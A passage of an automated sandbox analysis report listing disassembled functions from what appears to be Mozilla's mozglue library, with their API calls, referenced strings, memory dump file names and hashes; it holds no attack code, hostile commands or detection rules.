Instruction Fuzzy Hash: 6541C335B023129FDB149BA8E9087AE7775EB8D30CF048119ED4597B01CB32998BD7E5

Function 6CABD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CABD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CABD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CABD52A
GetCurrentThreadId.KERNEL32 ref: 6CABD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CABD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CABD55F
free.MOZGLUE(00000000), ref: 6CABD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CABD5D3
GetCurrentThreadId.KERNEL32 ref: 6CABD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CABD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CABD652
GetCurrentThreadId.KERNEL32 ref: 6CABD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CABD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CABD6A2

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 0deb0615b0dc42ecbf22fe217557860cd7d0ed14c72e9254ca44effaf19a1352
Instruction ID: 19c675c32d7e30b67c832e3ae6673ff04c8d2951efb3d4238541b1aa7c273e55
Opcode Fuzzy Hash: 0deb0615b0dc42ecbf22fe217557860cd7d0ed14c72e9254ca44effaf19a1352
Instruction Fuzzy Hash: 50518075A04706DFC744CF34D488A9ABBF4FF89318F00862DE85A97711DB30A489CB95

Function 6CA85670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CA856D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA856E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CA856F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CA85744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CA857BC
GetTickCount64.KERNEL32 ref: 6CA858CB
EnterCriticalSection.KERNEL32(6CAEF688), ref: 6CA858F3
__aulldiv.LIBCMT ref: 6CA85945
LeaveCriticalSection.KERNEL32(6CAEF688), ref: 6CA859B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CAEF638,?,?,?,?), ref: 6CA859E9

Strings

MOZ_APP_RESTART, xrefs: 6CA856CC

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: e79677c37a609ae91722c7cd9d70f4d6947f8119de8887a27ea1a715bf3c982b
Instruction ID: f865cb26588505536fc1a93d6a6ea759e07e83c7a310d9fe847f130308123b4d
Opcode Fuzzy Hash: e79677c37a609ae91722c7cd9d70f4d6947f8119de8887a27ea1a715bf3c982b
Instruction Fuzzy Hash: F8C16E31A097919FDB09CF28C44066ABBF1FFCA714F15CA1DE8C557660D730A986DB82

Function 6CAAEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
Part of subcall function 6CAA9420: __Init_thread_footer.LIBCMT ref: 6CAA949F

GetCurrentThreadId.KERNEL32 ref: 6CAAEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAAEC8C

Part of subcall function 6CAA94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAA94EE
Part of subcall function 6CAA94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAA9508

GetCurrentThreadId.KERNEL32 ref: 6CAAECA1
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CAAECC5
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CAAED19
CloseHandle.KERNEL32(?), ref: 6CAAED28
free.MOZGLUE(00000000), ref: 6CAAED2F
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CAAEC94

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 638c6d47b3b69b8f43f65868907107b4dfc5c970579894abeccc923aea8375b8
Instruction ID: ffb5a7db4938161262edcbf19a858414c88e87ef885421331b5ae853f7f3fc85
Opcode Fuzzy Hash: 638c6d47b3b69b8f43f65868907107b4dfc5c970579894abeccc923aea8375b8
Instruction Fuzzy Hash: AA21F675600305AFDB019FA4EC08AAA7739FB4936CF148214FC1847740D73198AB9BF5

Function 6CAA8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CA6EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA6EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CAAB392,?,?,00000001), ref: 6CAA91F4

Part of subcall function 6CA9CBE8: GetCurrentProcess.KERNEL32(?,6CA631A7), ref: 6CA9CBF1
Part of subcall function 6CA9CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA631A7), ref: 6CA9CBFA

Strings

timeline-ipc, xrefs: 6CAA9096
name, xrefs: 6CAA8F16
marker-chart, xrefs: 6CAA905E
timeline-fileio, xrefs: 6CAA90A4
timeline-overview, xrefs: 6CAA907A
timeline-memory, xrefs: 6CAA9088
data, xrefs: 6CAA90E8
marker-table, xrefs: 6CAA906C
stack-chart, xrefs: 6CAA90B2

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 29d73007a0be105e196396444d1dedfd5df33e2cab4e0bfea029abdd683c9ff2
Instruction ID: 6486cddaccf7934372c5d2585194f325c0f025ee87a2881716451501d88ae940
Opcode Fuzzy Hash: 29d73007a0be105e196396444d1dedfd5df33e2cab4e0bfea029abdd683c9ff2
Instruction Fuzzy Hash: 8CB1B6B1A012099BDB04CFA9C9517EEBBB5FF88318F144119D5056BF80D771A9CACBE1

Function 6CA8C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA8C5A3
WideCharToMultiByte.KERNEL32 ref: 6CA8C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CA8C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CA8CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA8CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA8CAA5

Strings

(null), xrefs: 6CA8C596
0, xrefs: 6CA8D30A

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 0dd311131d5e7b6502c9693ef9ca338b2e7fd8749872f88aaeec2500c25b5670
Instruction ID: 2a9310b5045fa4374096e42128cdb853d3f0efaeeaa4b9ebb2d78d05b1a282f0
Opcode Fuzzy Hash: 0dd311131d5e7b6502c9693ef9ca338b2e7fd8749872f88aaeec2500c25b5670
Instruction Fuzzy Hash: 53A1903060A3429FDB04DF28C58475ABBF1EF89748F088A2DE99997741D735D885CF92

Function 6CA8C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA8C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA8C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6CA8C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA8C891

Strings

INF, xrefs: 6CA8C794
NAN, xrefs: 6CA8C7AD
inf, xrefs: 6CA8C78F
nan, xrefs: 6CA8C7A8

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 5a62360266c52b6a113a1b09576b72862d2277f3b3711d70d0112b702f1e289b
Instruction ID: f6ecfabf88b63cb0fef039dbab9ab4f1592f6823505b1c913efffe78618cbf0b
Opcode Fuzzy Hash: 5a62360266c52b6a113a1b09576b72862d2277f3b3711d70d0112b702f1e289b
Instruction Fuzzy Hash: 4751B0709097418BDB04EF2CC48569AFBF0BF8A308F448A2DE9D5A7651E770D9C9CB42

Function 6CA64480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CAA4843,?), ref: 6CA645F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CAA4843,?), ref: 6CA6468A
free.MOZGLUE(?,?,?,?,?,?,6CAA4843,?), ref: 6CA646C9
free.MOZGLUE(?), ref: 6CA646EF
free.MOZGLUE(?), ref: 6CA64712
free.MOZGLUE(?), ref: 6CA64735
free.MOZGLUE(?), ref: 6CA64758
free.MOZGLUE(?), ref: 6CA6477B
free.MOZGLUE(?), ref: 6CA6479E

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 5c17c247d46d435337214d8f11badaf66d3b9b6dbbf24b2b52dd3ea77e6efc88
Instruction ID: 248085f41c54b45c6268be1ac3989967f83f77c9c234077fb1770b415da9af88
Opcode Fuzzy Hash: 5c17c247d46d435337214d8f11badaf66d3b9b6dbbf24b2b52dd3ea77e6efc88
Instruction Fuzzy Hash: 9EB1E271A005108FDB18DE3ED9B47AD76B2AF42328F184669E816DBFD6D730D8C48B91

Function 6CACAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CACAC52
CreateFileMappingW.KERNEL32 ref: 6CACAC7D
GetSystemInfo.KERNEL32 ref: 6CACAC98
MapViewOfFile.KERNEL32 ref: 6CACACB0
GetSystemInfo.KERNEL32 ref: 6CACACCD
MapViewOfFile.KERNEL32 ref: 6CACAD05
UnmapViewOfFile.KERNEL32 ref: 6CACAD1C
CloseHandle.KERNEL32 ref: 6CACAD28
UnmapViewOfFile.KERNEL32 ref: 6CACAD37
CloseHandle.KERNEL32 ref: 6CACAD43
CloseHandle.KERNEL32 ref: 6CACAD67

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: f3e4271170580a1e1735c8e839c40f4db318247e89353ceec2659ddd9d4506d1
Instruction ID: fec5b7cb4168a460d2c52053ec7263aecdbd478ef7f249f2eab4ecd0d54e2a79
Opcode Fuzzy Hash: f3e4271170580a1e1735c8e839c40f4db318247e89353ceec2659ddd9d4506d1
Instruction Fuzzy Hash: 5B3164B1A047058FDB44AF7CD64C26EBBF1BF49305F018A2DE98587211EB749889CB82

Function 6CA79620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CA79675
__Init_thread_footer.LIBCMT ref: 6CA79697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CA796E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CA79707
__Init_thread_footer.LIBCMT ref: 6CA7971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA79773

Part of subcall function 6CA9AB89: EnterCriticalSection.KERNEL32(6CAEE370,?,?,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284), ref: 6CA9AB94
Part of subcall function 6CA9AB89: LeaveCriticalSection.KERNEL32(6CAEE370,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA9ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CA797B7
FreeLibrary.KERNEL32 ref: 6CA797D0
FreeLibrary.KERNEL32 ref: 6CA797EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA79824

Strings

NtMapViewOfSection, xrefs: 6CA79701
ntdll.dll, xrefs: 6CA796E3
MapViewOfFileNuma2, xrefs: 6CA797B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CA79670

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 4c8fbc9bad2db75eb1ef62ae9e1572cb317a7bc6957c709aa7f382223265e09e
Instruction ID: aa25b744cc6c2f6168e51ed05f5a93f129093ef576881c10db7c577a2bc4c0de
Opcode Fuzzy Hash: 4c8fbc9bad2db75eb1ef62ae9e1572cb317a7bc6957c709aa7f382223265e09e
Instruction Fuzzy Hash: 1141AE746003069FDF14CFA6ED85A9677B5FB4E324F04812AED1587B40E730A88ADBE1

Function 6CA61E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAEE784), ref: 6CA61EC1
LeaveCriticalSection.KERNEL32(6CAEE784), ref: 6CA61EE1
EnterCriticalSection.KERNEL32(6CAEE744), ref: 6CA61F38
LeaveCriticalSection.KERNEL32(6CAEE744), ref: 6CA61F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CA61F83
LeaveCriticalSection.KERNEL32(6CAEE784), ref: 6CA61FC0
EnterCriticalSection.KERNEL32(6CAEE784), ref: 6CA61FE2
LeaveCriticalSection.KERNEL32(6CAEE784), ref: 6CA61FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA62019

Strings

MOZ_CRASH(), xrefs: 6CA62000

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: a613c0e904aa1073f4328f708b7d9059d3df923d5fe9a289bd769fd4cc6c3111
Instruction ID: 0b435c2ec1f26ea9b20bc99859ffb2244490077b83f6ada15fe6accc2dbcfd42
Opcode Fuzzy Hash: a613c0e904aa1073f4328f708b7d9059d3df923d5fe9a289bd769fd4cc6c3111
Instruction Fuzzy Hash: 5741F171B0031A8FDF549FAEC888BBA3AB5EF4D308F044126EA0597B44DB7198859BD5

Function 6CA77E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA77EA7
malloc.MOZGLUE(00000001), ref: 6CA77EB3

Part of subcall function 6CA7CAB0: EnterCriticalSection.KERNEL32(?), ref: 6CA7CB49
Part of subcall function 6CA7CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CA7CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CA77EC4
mozalloc_abort.MOZGLUE(?), ref: 6CA77F19
malloc.MOZGLUE(?), ref: 6CA77F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA77F4D

Strings

d, xrefs: 6CA77F89

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 0ca18775c36b0d73168b3c569c467ad8a905295c3ec62e1cae0db13c13e517c9
Instruction ID: 9b435c11ece5c74b3035695dd2f897deaa3f23d769377107586876d0aee95465
Opcode Fuzzy Hash: 0ca18775c36b0d73168b3c569c467ad8a905295c3ec62e1cae0db13c13e517c9
Instruction Fuzzy Hash: 6931F671E0034997DB019B68DD049FEB778FF96208F459628EC4997612FB30B6C9C7A0

Function 6CA73E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6CA73CCC), ref: 6CA73EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA73FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6CA73CCC), ref: 6CA74006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA740A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CA73CCC), ref: 6CA740AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CA73CCC), ref: 6CA740C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA74134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CA73CCC), ref: 6CA74143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CA73CCC), ref: 6CA74157

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: d6ca57c828a5a8ffca3b6f077ab41fc5a31867a56173ea170d46f776c9740b4c
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 08A19DB5A01215CFDB50CF68C88065AB7B5FF48308F2A41A9D909AF742D775E986CFA0

Function 6CA62030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6CA83F47,?,?,?,6CA83F47,6CA81A70,?), ref: 6CA6207F
memset.VCRUNTIME140(?,000000E5,6CA83F47,?,6CA83F47,6CA81A70,?), ref: 6CA620DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6CA83F47,6CA81A70,?), ref: 6CA6211A
EnterCriticalSection.KERNEL32(6CAEE744,?,6CA83F47,6CA81A70,?), ref: 6CA62145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6CA83F47,6CA81A70,?), ref: 6CA621BA
EnterCriticalSection.KERNEL32(6CAEE744,?,6CA83F47,6CA81A70,?), ref: 6CA621E0
LeaveCriticalSection.KERNEL32(6CAEE744,?,6CA83F47,6CA81A70,?), ref: 6CA62232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6CA62253, 6CA62268
MOZ_CRASH(), xrefs: 6CA6227D

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: abf2f2a549566e49d6fd7a9eb1412d7fc39938e720e2ffae1c8c889b88d8f35d
Instruction ID: 2d5dba7b0e1b9675a1737525058f7191eb8343db5204af81b149095bf1e9b915
Opcode Fuzzy Hash: abf2f2a549566e49d6fd7a9eb1412d7fc39938e720e2ffae1c8c889b88d8f35d
Instruction Fuzzy Hash: 3261C471F042168FCB08CE6AC98976E76B1EF89318F198239E624A7E94D7709C85D7C1

Function 6CA648E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6CAA483A,?), ref: 6CA64ACB
